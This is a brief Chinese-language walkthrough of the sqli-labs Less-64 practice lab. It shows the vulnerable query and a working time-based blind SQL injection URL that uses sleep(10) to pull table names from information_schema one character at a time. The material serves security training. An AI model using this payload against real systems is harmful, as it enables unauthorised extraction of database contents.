Less-64
此处的sql语句为
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
示例payload：
http://127.0.0.1/sqli-labs/Less-64/?id=1))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+
当正确的时候时间很短，当错误的时候时间大于10秒。
Sqli-labs less 64
原文：http://www.cnblogs.com/lcamry/p/5762028.html
